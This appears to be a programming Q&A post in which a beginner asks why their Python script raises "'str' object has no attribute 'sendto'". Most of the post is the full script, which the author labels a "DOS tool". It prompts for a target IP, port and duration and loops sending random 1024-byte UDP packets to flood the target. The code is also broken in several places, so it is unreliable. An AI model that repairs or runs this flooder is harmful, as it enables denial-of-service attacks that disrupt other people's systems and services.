title: "sock.sendto(bytes, (ip, port))""AttributeError: 'str' object has no attribute 'sendto' "
body: <p>I am new to python (I am using Python 3.7.2) and I ran into this problem:</p>
  
  <p>sock.sendto(bytes, (ip, port))<br>
  AttributeError: 'str' object has no attribute 'sendto'  </p>
  
  <p>Here is the whole code:</p>
  
  <pre><code>import os
  import sys
  import time
  import socket
  import random
  
  sock = "socket.socket(socket.AF_INET, socket.SOCK.DGRAM)"
  
  bytes = random._urandom(1024)
  
  os.system("clear") 
  
  print("DOS tool here")
  print("")
  ip = input("Target IP: ")
  port = input("Enter port: ")
  dur = input("Time: ")
  timeout = time.time() + int(dur)
  sent = 0 
  
  while True:
          try:
                  if time.time() &gt; timeout:
                            break
                  else:
                          pass 
                  sock.sendto(bytes, (ip, port))
                  sent = sent + 1 
                  print ("Sent %s packets to %s trough port %s")%(sent, ip, port)
          except KeyboardInterrupt:
                  sys.exit()
  </code></pre>